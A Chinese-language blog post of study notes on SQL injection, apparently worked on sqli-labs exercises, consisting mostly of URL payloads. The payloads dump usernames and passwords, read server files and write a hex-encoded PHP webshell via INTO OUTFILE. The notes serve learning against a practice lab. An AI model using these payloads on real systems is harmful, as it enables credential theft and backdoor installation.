6.sql注入
sql注入
问题
1、SQL注入原理
在数据交互中,前端的数据传入到后台进行处理时,没有做严格的判断,过滤。导致传入的“数据”拼接到SQL语句中,被当作SQL语句的一部分执行,导致信息泄露。
2、如何判断注入点
可以对输入数据的地方输入一些特殊字符,看服务器是否会去执行。要是没有返回信息,可能是盲注。
联合注入
例子:(sql_lab第1关为例)
(1)找闭合
?id=1' and 1=1--+
(2)确定列数
?id=1' order by 1--+
(3)查看是否回显
?id=-1' union select 1,2,3--+
(4)查数据库名、表名
?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+
(5)查列名
?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
(6)查询数据
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users--+
(7)读文件
?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+
(8)写文件
?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
报错注入(有错误报出)
例子:(sql_lab第5关为例)
(1)找闭合
?id=1' and 1=1--+
(2)确定列数
?id=1' order by 1--+
(3)查看是否回显
?id=-1' union select 1,2,3--+
(4)查数据库名
?id=1' or extractvalue(1,concat(0x7e,(select database()),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
(5)查表名
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
(6)查列名
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e),1)--+
(7)查数据
?id=1' or extractvalue(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,substr((select group_concat(username,"^",password) from security.users),1,30),0x7e),1)--+
(8)读文件
?id=1' or extractvalue(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e))--+
?id=1' or updatexml(1,concat(0x7e,substr((select load_file("C:/Windows/win.ini")),1,30),0x7e),1)--+
?id=-1' union select 1,2,load_file('C:/Windows/win.ini')--+
(9)写文件
?id=-1' union select 1,2,'' into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
?id=-1' union select 1,2,load_file("C:/yyy.php") into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
布尔盲注(不管输入什么,界面只会出现两种结果)
例子:(sql_lab第8关为例)
(1)找闭合
?id=1' and 1=1--+
(2)确定列数
?id=-1' order by 1--+
(3)查看是否回显(可以用来写文件)
?id=-1' union select 1,2,3--+
(4)猜数据库长度
?id=1' and length(database())=8--+
(5)猜数据库名
?id=1' and substr(database(),1,1)='s'--+
?id=1' and ascii(substr(database(),1,1))=115--+
(6)猜出数据库后猜数据库中表的数量
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
(7)猜表名长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
依次类推一直猜......
(8)读文件(布尔盲注读不出来)
?id=-1' union select 1,2,file_load("C:/Windows/win.ini")--+
(9)写文件
?id=-1' union select 1,2,"" into outfile 'E:/Security/phpstudy_pro/WWW/yyy.php'--+
时间盲注(不管输入什么,界面都是一样的)
例子:(sql_lab第9关为例)
(1)找闭合
?id=1' and if(1=1,sleep(3),0)--+
(2)猜数据长度
?id=1' and if(length(database())=8,sleep(3),0)--+
(3)猜数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+
(4)猜数据库中表数量
?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=6,sleep(3),0)--+
(5)猜表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(3),0)--+
依次类推一直猜......
(6)读文件(可以用来探测是否存在这个文件)
?id=1' and if(length(load_file("C:/test.php"))>1,sleep(3),0)--+
(7)写文件
?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by ""--+
?id=1' into outfile "E:/Security/phpstudy_pro/WWW/yyy.php" lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C657373395D293B3F3E--+
堆叠注入(利用mysqli_multi_query()函数)
例子:(sql_lab第38关为例)
(1)可写入数据到数据库
?id=1' union select 1,2,3;insert into users(username,password) value("yyy","yyy");
3、sqlmap学习
6.sql注入的更多相关文章
- 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范
昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...
- Web安全相关(五):SQL注入(SQL Injection)
简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...
- 从c#角度看万能密码SQL注入漏洞
以前学习渗透时,虽然也玩过万能密码SQL注入漏洞登陆网站后台,但仅仅会用,并不理解其原理. 今天学习c#数据库这一块,正好学到了这方面的知识,才明白原来是怎么回事. 众所周知的万能密码SQL注入漏洞, ...
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 揭开SQL注入的神秘面纱PPT分享
SQL注入是一个老生常谈但又经常会出现的问题.该课程是我在公司内部培训的课程,现在分享出来,希望对大家有帮助. 点击这里下载.
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- jdbc java数据库连接 8)防止sql注入
回顾下之前jdbc的开发步骤: 1:建项目,引入数据库驱动包 2:加载驱动 Class.forName(..); 3:获取连接对象 4:创建执行sql语句的stmt对象; 写sql 5:执行sql ...
- Entity Framework关于SQL注入安全问题
1.EF生成的sql语句,用 parameter 进行传值,所以不会有sql注入问题 2.EF下有涉及外部输入参数传值的,禁止使用EF直接执行sql命令方式,使用实体 SQL 参考: https: ...
- 关于SQL注入和如何防止
之前在笔试的时候没有很好的答出这个问题,因此我要总结一下问题,以免日后继续在这个地方跌倒,以下是自己的理解,如有错误请指出 一.什么是SQL注入 SQL注入就是服务器在根据业务去处理数据库的时候,客户 ...
- Java防止SQL注入2(通过filter过滤器功能进行拦截)
首先说明一点,这个过滤器拦截其实是不靠谱的,比如说我的一篇文章是介绍sql注入的,或者评论的内容是有关sql的,那会过滤掉:且如果每个页面都经过这个过滤器,那么效率也是非常低的. 如果是要SQL注入拦 ...
随机推荐
- python + selenium 常用公共方法封装
selenium 环境配置及浏览器驱动的安装:https://www.cnblogs.com/gancuimian/p/16435300.html uiautomator2 常用公共方法封装见之前的帖 ...
- C#函数编程学习
知识补缺 //用Func委托写简单函数 Func<int,int> add = i => i + 1; //定义一个只读属性 public class Tea { public Te ...
- cp 备份文件命令
cp -p system.sh ./bak2022/systecm.sh.bak_`date '+%Y%m%d'` (备份system.sh文件后缀以bak_年月日命令)cp -rf old copy ...
- 3月2号Android开发学习
(2)视图基础 1.设置视图的高度 视图宽度通过属性Android:layout_width表达,视图高度通过属性android:layout_heigth表达,宽高的取值主要有以下三种 1.matc ...
- JMeter MD5加密 默认小写 转换为大写
出处:https://www.cnblogs.com/scholars-xian/p/11718854.html 使用内置函数加密 1)使用 ${__MD5(123,)} 进行MD5加密(32位小写) ...
- 点击按钮触发div颜色改变的几种写法
目录 JavaScript 行内事件 onclick绑定 关于选取元素 关于改变颜色 addEventListener jQuery 获取元素 绑定事件 设置样式 css() 添加class Vue ...
- RabbitMQ博文收藏
RabbitMQ基本概念 消息队列之 RabbitMQ
- 【内存管理】ION内存管理器浅析(system heap)(基于linux 4.14)
什么是ION ION具体不知道是什么的缩写,只知道是android系统上google引入的内存管理方式,为了实现用户与内核间数据共享时零拷贝.多用于多媒体,比如camera和display,graph ...
- linux查看IP地址
方法一:ifconfig -a 方法二:ip addr
- 记录一次使用locust压测的过程
1 脚本# encoding: utf-# @Time : 2021/6/21 1:28 下午 # @Author : Sail # @File : main.py # @Software: PyCh ...